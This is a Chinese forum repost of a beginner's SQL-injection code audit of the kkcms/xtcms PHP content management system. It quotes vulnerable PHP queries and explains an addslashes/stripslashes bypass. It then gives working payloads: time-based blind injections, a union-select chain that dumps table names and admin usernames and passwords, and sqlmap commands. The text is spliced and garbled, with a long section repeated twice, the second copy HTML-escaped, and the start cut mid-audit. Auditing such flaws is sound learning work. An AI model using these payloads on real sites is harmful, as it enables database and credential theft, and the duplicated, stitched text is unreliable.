发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下

  1. id=1

  2. id=1 and sleep(5)
复制代码



发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示
admin/cms_login.php
  1. <?php
  2. require_once('../system/inc.php');
  3. if(isset($_POST['submit'])){
  4.     if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  5.         alert_href('验证码错误','cms_login.php');
  6.     }
  7.     null_back($_POST['a_name'],'请输入用户名');
  8.     null_back($_POST['a_password'],'请输入密码');
  9.     null_back($_POST['verifycode'],'请输入验证码');
  10.     $a_name = $_POST['a_name'];
  11.     $a_password = $_POST['a_password'];
  12.     $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
  13.     $result = mysql_query($sql);
复制代码
这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。
admin/cms_user_edit.php
  1. //部分代码
  2. <?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);
  6. include('model/user_edit.php');
  7. ?>
  8. <?php
  9. $result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
  10. if($row = mysql_fetch_array($result)){
  11. ?>
复制代码
一眼顶真,无包裹方式,存在SQL注入
  1. id = 16 and sleep(5)
复制代码



具体不再演示,此类的我将其列在一起,具体如下所示
admin/cms_nav_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
复制代码


admin/cms_detail_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
复制代码


admin/cms_channel_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
复制代码


admin/cms_check_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
复制代码


admin/cms_player_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
复制代码


admin/cms_slideshow_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
复制代码


admin/cms_ad_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
复制代码


admin/cms_link_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
复制代码


admin/cms_usercard_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
复制代码


admin/cms_youlian_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
复制代码


admin/cms_user.php
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/user.php');
  6. ?>
  7. if (isset($_GET['key'])) {
  8. $sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
  9. $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  10. $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  11. }
复制代码


这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二
admin/cms_detail.php
  1. if (isset($_GET['cid'])) {
  2.     if ($_GET['cid'] != 0){
  3.         $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  4.         $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  5.         $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  6.     }else{
  7.         $sql = 'select * from xtcms_vod order by d_id desc';
  8.         $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9.         $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10.         }
  11. }
复制代码


这里的话关注这里
  1. $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
复制代码


这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入
  1. cid=1) and sleep(1) --+
复制代码


//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)

根据回显时间可以看出此处是存在SQL注入的
admin/cms_kamilist.php
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);

  5. ?>
  6. if (isset($_GET['c_used'])) {
  7.     $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
  8.     $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9.     $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10. }
复制代码


这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。
ucenter/index.php
  1. //部分
  2. <?php include('../system/inc.php');
  3. if(!isset($_SESSION['user_name'])){
  4.         alert_href('请登陆后进入','login.php');
  5. };
  6. ?>
  7. <?php include('left.php');?>
  8. <?php
  9. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  10. if($row = mysql_fetch_array($result)){
  11. ?>
复制代码


这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处
类似这种的还有
ucenter/kami.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码


ucenter/chongzhi.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码


ucenter/mingxi.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码


ucenter/cms_user_add.php源码为
  1. <?php
  2. include('../system/inc.php');
  3. include('cms_check.php');

  4. if ( isset($_POST['save']) ) {
  5. null_back($_POST['u_name'],'请填写登录帐号');
  6.     null_back($_POST['u_password'],'请填写登录密码');
  7. $result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
  8.     if(mysql_fetch_array($result)){
  9.         alert_back('帐号重复,请输入新的帐号。');
  10.     }
复制代码


双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有
ucenter/return_url.php其SQL语句如下
  1. $order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');
复制代码


ucenter/password.php其SQL语句如下
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码


ucenter/reg.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
复制代码


ucenter/login.php其SQL语句如下
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码


ucenter/mingxi.php其SQL语句如下
  1. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码


ucenter/repass.php源码为
  1. <?php
  2. include('../system/inc.php');
  3. if(isset($_SESSION['user_name'])){
  4. header('location:index.php');
  5. };

  6. if(isset($_POST['submit'])){
  7. $username = stripslashes(trim($_POST['name']));
  8. $email = trim($_POST['email']);
  9. // 检测用户名是否存在
  10. $query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
  11. if(!! $row = mysql_fetch_array($query)){
  12. $_data['u_password'] = md5(123456);
  13. $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
  14. if (mysql_query($sql)) {
复制代码


这里的话我们看到参数name
  1. $username = stripslashes(trim($_POST['name']));
复制代码


这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload
  1. python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
复制代码


但很怪,我自己的没有跑出来数据

而我参考其他师傅的文章后发现他们的可以跑出来。
payload如下
  1. name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&email=1@qq.com&password=111&submit=
复制代码



类似这种的还有
ucenter/active.php其SQL语句如下
  1. $verify = stripslashes(trim($_GET['verify']));
  2. $nowtime = time();
  3. $query = mysql_query("select u_id from xtcms_user where u_question='$verify'");
复制代码
ucenter/reg.php其内SQL语句如下
  1. if(isset($_POST['submit'])){
  2. $username = stripslashes(trim($_POST['name']));
  3. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
复制代码


总结本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。
参考文献https://xz.aliyun.com/t/7711
https://xz.aliyun.com/t/11322#toc-2
来源:先知(https://xz.aliyun.com/t/11714#toc-0



,$d_scontent[$i]);
        }
$playdizhi=get_play($row['d_player']).$d_scontent[0][1];
    }else{
        return '';
    };

include('template/'.$xtcms_bdyun.'/bplay.php');
?>[/code]

这里的话可以看出主要的SQL语句是这句话
  1. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');
复制代码


然后这个play参数是GET传参的,同时看这里的代码可以看出它是没有单引号或者双引号包裹的,此时我们跟进一下include的文件,也就是system/inc.php,查看一下这个文件

跟进这个library.php
  1. &lt;?php
  2. //展示的只是一部分
  3. if (!defined('PCFINAL')) {
  4.     exit('Request Error!');
  5. }
  6. if (!get_magic_quotes_gpc()) {
  7.     if (!empty($_GET)) {
  8.         $_GET = addslashes_deep($_GET);
  9.     }
  10.     if (!empty($_POST)) {
  11.         $_POST = addslashes_deep($_POST);
  12.     }
  13.     $_COOKIE = addslashes_deep($_COOKIE);
  14.     $_REQUEST = addslashes_deep($_REQUEST);
  15. }
复制代码


可以发现这里的话对传入的参数都进行了特殊字符转义,防止SQL注入
但事实上我们那个参数未被单引号或者双引号包裹,这也就意味着这里的防护其实是无意义的,因此我们这里的话我们也就可以尝试去进行SQL注入
首先我们试着去检测一下字段数,payload如下所示
play=1 order by 17  //回显正常play=1 order by 18  //回显错误

这里的话也就可以发现字段数为17了,接下来就可以进去联合查询了,首先我们需要去找一下回显位
play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17
可以发现回显位是2和9,我们这个时候就可以去读取数据库、数据表这些了,payload如下
  1. //查库
  2. play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
  3. //查表
  4. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
  5. //查列
  6. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
  7. //查字段
  8. play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17
复制代码





wap/user.php(失败)
结合Seay
  1. &lt;?php include('../system/inc.php');
  2. error_reporting(0);
  3. $op=$_GET['op'];
  4. if(!isset($_SESSION['user_name'])){
  5.         alert_href('请登陆后进入','login.php?op=login');
  6.     };
  7.     //退出
  8. if ($op == 'out'){  
  9. unset($_SESSION['user_name']);
  10. unset($_SESSION['user_group']);
  11. if (! empty ( $_COOKIE ['user_name'] ) || ! empty ( $_COOKIE ['user_password'] ))   
  12.     {  
  13.         setcookie ( "user_name", null, time () - 3600 * 24 * 365 );  
  14.         setcookie ( "user_password", null, time () - 3600 * 24 * 365 );  
  15.     }  
  16. header('location:login.php?op=login');
  17. }
  18. //支付
  19. if ( isset($_POST['paysave']) ) {
  20. if ($_POST['pay']==1){

  21. //判定会员组别
  22. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  23. if($row = mysql_fetch_array($result)){

  24. $u_points=$row['u_points'];
  25. $u_group=$row['u_group'];
  26. $send = $row['u_end'];

  27. //获取会员卡信息
  28. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
  29. if($row2 = mysql_fetch_array($card)){
  30. $day=$row2['day'];//天数
  31. $userid=$row2['userid'];//会员组
  32. $jifen=$row2['jifen'];//积分
  33. }
  34. //判定会员组
  35. if ($row['u_group']&gt;$userid){
  36. alert_href('您现在所属会员组的权限制大于等于目标会员组权限值,不需要升级!','mingxi.php');
  37. }
复制代码


看这一处代码
  1. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码


不难发现这里的Select语句中的参数被双引号包裹了,而开头包含了inc.php文件,之前就已经查看过,这个文件包含了四个文件,其中一个文件中有addslashes_deep函数,对传入的参数中的特殊字符(如',",\)进行了转义,因此我们这里的话无法通过闭合双引号达到SQL注入的目的,同文件的其他SQL注入处也是如此,这里不再展示
wap/login.php
扫出login.php中存在多个可控变量,我们使用Seay来看一下具体代码
//展示的仅为一部分
  1. &lt;?php include('../system/inc.php');
  2. $op=$_GET['op'];

  3. if(isset($_POST['submit'])){
  4.     null_back($_POST['u_name'],'请输入用户名');
  5.     null_back($_POST['u_password'],'请输入密码');
  6.     $u_name = $_POST['u_name'];
  7.     $u_password = $_POST['u_password'];
  8.     $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  9.     $result = mysql_query($sql);
  10.     if(!! $row = mysql_fetch_array($result)){

  11.     $_data['u_loginnum'] = $row['u_loginnum']+1;
  12.     $_data['u_loginip'] =$_SERVER["REMOTE_ADDR"];
  13.     $_data['u_logintime'] =date('y-m-d h:i:s',time());
  14.     if(!empty($row['u_end'])) $u_end= $row['u_end'];
  15.     if(time()&gt;$u_end){
  16.     $_data['u_flag'] =="0";
  17.     $_data['u_start'] =="";
  18.     $_data['u_end'] =="";
  19.     $_data['u_group'] =1;
  20.     }else{
  21.     $_data['u_flag'] ==$row["u_flag"];
  22.     $_data['u_start'] ==$row["u_start"];
  23.     $_data['u_end'] ==$row["u_end"];
  24.     $_data['u_group'] =$row["u_group"];
  25.     }
  26.     mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
  27.     $_SESSION['user_name']=$row['u_name'];
  28.     $_SESSION['user_group']=$row['u_group'];
  29.     if($_POST['brand1']){
  30. setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365);
  31. setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365);
  32. }
  33.         header('location:user.php');
  34.     }else{
  35.         alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
  36.     }
  37. }
  38. if(isset($_POST['reg'])){
  39. $username = stripslashes(trim($_POST['name']));
  40. // 检测用户名是否存在
  41. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  42. if(mysql_fetch_array($query)){
  43. echo '&lt;script&gt;alert("用户名已存在,请换个其他的用户名");window.history.go(-1);&lt;/script&gt;';
  44. exit;
  45. }
  46. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  47. if(mysql_fetch_array($result)){
  48. echo '&lt;script&gt;alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);&lt;/script&gt;';
  49. exit;
  50. }
  51. $password = md5(trim($_POST['password']));
  52. $email = trim($_POST['email']);
  53. $regtime = time();
  54. $token = md5($username.$password.$regtime); //创建用于激活识别码
  55. $token_exptime = time()+60*60*24;//过期时间为24小时后
  56. $data['u_name'] = $username;
  57. $data['u_password'] =$password;
  58. $data['u_email'] = $email;
  59. $data['u_regtime'] =$regtime;
  60. if($xtcms_mail==1){
  61. $data['u_status'] =0;
  62.     }else{
  63. $data['u_status'] =1;
  64.     }
  65. $data['u_group'] =1;
  66. $data['u_fav'] =0;
  67. $data['u_plays'] =0;
  68. $data['u_downs'] =0;
  69. //推广注册
  70. if (isset($_GET['tg'])) {
  71.     $data['u_qid'] =$_GET['tg'];
  72.     $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
  73. if($row = mysql_fetch_array($result)){

  74. $u_points=$row['u_points'];
  75. }
复制代码


不难发现这里的SELECT语句有以下几个
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
  2. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
  3. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
  4. $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
复制代码


但文件开头就声明包含了inc.php文件,说明这里的话包含了过滤函数,也就是对SQL注入是有防护的,对'、"以及\都进行了转义,因此这里如果参数是被单引号或者双引号包裹的话,那么这里极有可能算是G了,我们看第一个,也就是
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码
它这个不难发现,$u_name和$u_password都被双引号包裹了,因此这里就不存在SQL注入了。但是看一下第二个,第二个的username参数虽然是被双引号进行包裹了,但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));,这个stripslashes的功能是消除由addslashes函数增加的反斜杠,一个增加一个消除,那这里不就跟没有设置过滤一样吗,因此这个name参数是存在SQL注入的,我们通过BurpSuite进行抓包

然后将内容复制到一个txt文件中

我这里保存在sqlmap目录下

而后打开sqlmap,输入如下payload即可
  1. python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch
复制代码



可以看到存在延时注入,成功爆破出数据库
vlist.php在这个界面,用单引号测试一下发现跟正常界面有所不同

看一下后端代码
  1. &lt;?php
  2. if ($_GET['cid'] != 0){
  3.     ?&gt;

  4.                                               &lt;?php
  5. $result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
  6. while ($row = mysql_fetch_array($result)){

  7.             echo '&lt;a href="./vlist.php?cid='.$row['c_id'].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;"&gt;'.$row['c_name'].'&lt;/a&gt;';
  8.         }
  9. ?&gt;
复制代码


这里简单看一下的话,不难发现这里的参数cid是不存在任何防护的,即没有被单引号或者双引号包裹,因此这里开头引用的inc.php虽然对SQL注入进行了防护,但在这里其实是没有意义的,用SQLmap跑一下
  1. <pre>python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch
  2. </pre>
复制代码



后端文件
扫出多个后端文件存在SQL注入,接下来逐一进行检测
admin/cms_admin_edit.php源码如下
//部分代码
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/admin_edit.php');
  6. ?&gt;
  7. &lt;?php
  8. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
  9. if($row = mysql_fetch_array($result)){
  10. ?&gt;
复制代码


这里的话重点关注肯定是SQL语句,也就是这句话
  1. $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');
复制代码


发现id是无引号包裹的,这意味着这里是存在SQL注入的,我们去验证一下

  1. id=1

  2. id=1 and sleep(5)
复制代码



发现两者回显时间不同,说明存在SQL注入,具体为时间盲注,这里就可以编写Python脚本来爆破数据库信息,也可以通过SQLmap,这里不再展示
admin/cms_login.php
  1. &lt;?php
  2. require_once('../system/inc.php');
  3. if(isset($_POST['submit'])){
  4.     if ($_SESSION['verifycode'] != $_POST['verifycode']) {
  5.         alert_href('验证码错误','cms_login.php');
  6.     }
  7.     null_back($_POST['a_name'],'请输入用户名');
  8.     null_back($_POST['a_password'],'请输入密码');
  9.     null_back($_POST['verifycode'],'请输入验证码');
  10.     $a_name = $_POST['a_name'];
  11.     $a_password = $_POST['a_password'];
  12.     $sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5($a_password).'"';
  13.     $result = mysql_query($sql);
复制代码
这里的话就是发现这个可控参数都被双引号包裹了,然后文件开头包含了inc.php,意味着存在对SQL注入的防护,因此这里的话是无法实现SQL注入的,转战下一处。
admin/cms_user_edit.php
  1. //部分代码
  2. &lt;?php
  3. include('../system/inc.php');
  4. include('cms_check.php');
  5. error_reporting(0);
  6. include('model/user_edit.php');
  7. ?&gt;
  8. &lt;?php
  9. $result = mysql_query('select * from xtcms_user where u_id = '.$_GET['id'].'');
  10. if($row = mysql_fetch_array($result)){
  11. ?&gt;
复制代码
一眼顶真,无包裹方式,存在SQL注入
  1. id = 16 and sleep(5)
复制代码



具体不再演示,此类的我将其列在一起,具体如下所示
admin/cms_nav_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
复制代码


admin/cms_detail_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
复制代码


admin/cms_channel_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
复制代码


admin/cms_check_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
复制代码


admin/cms_player_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
复制代码


admin/cms_slideshow_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
复制代码


admin/cms_ad_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
复制代码


admin/cms_link_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
复制代码


admin/cms_usercard_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
复制代码


admin/cms_youlian_edit.php 其SQL语句如下
  1. $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');
复制代码


admin/cms_user.php
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);
  5. include('model/user.php');
  6. ?&gt;
  7. if (isset($_GET['key'])) {
  8. $sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
  9. $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  10. $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  11. }
复制代码


这里的话参数是在like处,这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入,通过SQLmap扫描也无果,各位大师傅如果有思路的话还请指点一二
admin/cms_detail.php
  1. if (isset($_GET['cid'])) {
  2.     if ($_GET['cid'] != 0){
  3.         $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  4.         $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  5.         $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  6.     }else{
  7.         $sql = 'select * from xtcms_vod order by d_id desc';
  8.         $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9.         $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10.         }
  11. }
复制代码


这里的话关注这里
  1. $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
复制代码


这个cid参数是被括号包裹的,这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入
  1. cid=1) and sleep(1) --+
复制代码


//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)

根据回显时间可以看出此处是存在SQL注入的
admin/cms_kamilist.php
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');
  4. error_reporting(0);

  5. ?&gt;
  6. if (isset($_GET['c_used'])) {
  7.     $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
  8.     $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  9.     $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  10. }
复制代码


这里的话可以看出参数被双引号包裹了,开头包含了SQL防护文件,涉及了addslashes()函数,所以这里自认为是不存在SQL注入的,找下一处。
ucenter/index.php
  1. //部分
  2. &lt;?php include('../system/inc.php');
  3. if(!isset($_SESSION['user_name'])){
  4.         alert_href('请登陆后进入','login.php');
  5. };
  6. ?&gt;
  7. &lt;?php include('left.php');?&gt;
  8. &lt;?php
  9. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
  10. if($row = mysql_fetch_array($result)){
  11. ?&gt;
复制代码


这里的话可以看见参数是SESSION传参,不同于之前的GET和POST,而且这里还有双引号包裹,因此这里不存在SQL注入,下一处
类似这种的还有
ucenter/kami.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码


ucenter/chongzhi.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码


ucenter/mingxi.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');
复制代码


ucenter/cms_user_add.php源码为
  1. &lt;?php
  2. include('../system/inc.php');
  3. include('cms_check.php');

  4. if ( isset($_POST['save']) ) {
  5. null_back($_POST['u_name'],'请填写登录帐号');
  6.     null_back($_POST['u_password'],'请填写登录密码');
  7. $result = mysql_query('select * from xtcms_user where u_name = "'.$_POST['u_name'].'"');
  8.     if(mysql_fetch_array($result)){
  9.         alert_back('帐号重复,请输入新的帐号。');
  10.     }
复制代码


双引号包裹,且包含了过滤函数,因此SQL注入不存在,误报,类似这种的还有
ucenter/return_url.php其SQL语句如下
  1. $order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');
复制代码


ucenter/password.php其SQL语句如下
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码


ucenter/reg.php其SQL语句如下
  1. $result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
复制代码


ucenter/login.php其SQL语句如下
  1. $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
复制代码


ucenter/mingxi.php其SQL语句如下
  1. $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');
复制代码


ucenter/repass.php源码为
  1. &lt;?php
  2. include('../system/inc.php');
  3. if(isset($_SESSION['user_name'])){
  4. header('location:index.php');
  5. };

  6. if(isset($_POST['submit'])){
  7. $username = stripslashes(trim($_POST['name']));
  8. $email = trim($_POST['email']);
  9. // 检测用户名是否存在
  10. $query = mysql_query("select u_id from xtcms_user where u_name='$username' and u_email='$email'");
  11. if(!! $row = mysql_fetch_array($query)){
  12. $_data['u_password'] = md5(123456);
  13. $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$username.'"';
  14. if (mysql_query($sql)) {
复制代码


这里的话我们看到参数name
  1. $username = stripslashes(trim($_POST['name']));
复制代码


这里引用了stripslashes函数,而文件开头又包含inc.php,这个文件里包含了addslashes函数,当我们参数出现单引号这种特殊字符时,addslashes会加上反引号,而stripslashes会清除addslashes函数加上的反引号,这个时候就相当于没有防护一样,所以显而易见这里是存在SQL注入的,我们可以使用bp抓包保存后,再利用sqlmap来得到数据库信息,具体payload
  1. python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs
复制代码


但很怪,我自己的没有跑出来数据

而我参考其他师傅的文章后发现他们的可以跑出来。
payload如下
  1. name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn&amp;email=1@qq.com&amp;password=111&amp;submit=
复制代码



类似这种的还有
ucenter/active.php其SQL语句如下
  1. $verify = stripslashes(trim($_GET['verify']));
  2. $nowtime = time();
  3. $query = mysql_query("select u_id from xtcms_user where u_question='$verify'");
复制代码
ucenter/reg.php其内SQL语句如下
  1. if(isset($_POST['submit'])){
  2. $username = stripslashes(trim($_POST['name']));
  3. $query = mysql_query("select u_id from xtcms_user where u_name='$username'");
复制代码


总结本次CMS审计花费了很多时间,一方面因为漏洞点有点多,另一方面也是初学代码审计,不太擅长,经过此次审计后对SQL注入和XSS漏洞有了进一步的了解,也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。
参考文献https://xz.aliyun.com/t/7711
https://xz.aliyun.com/t/11322#toc-2
来源:先知(https://xz.aliyun.com/t/11714#toc-0



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 19:07 , Processed in 0.022992 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表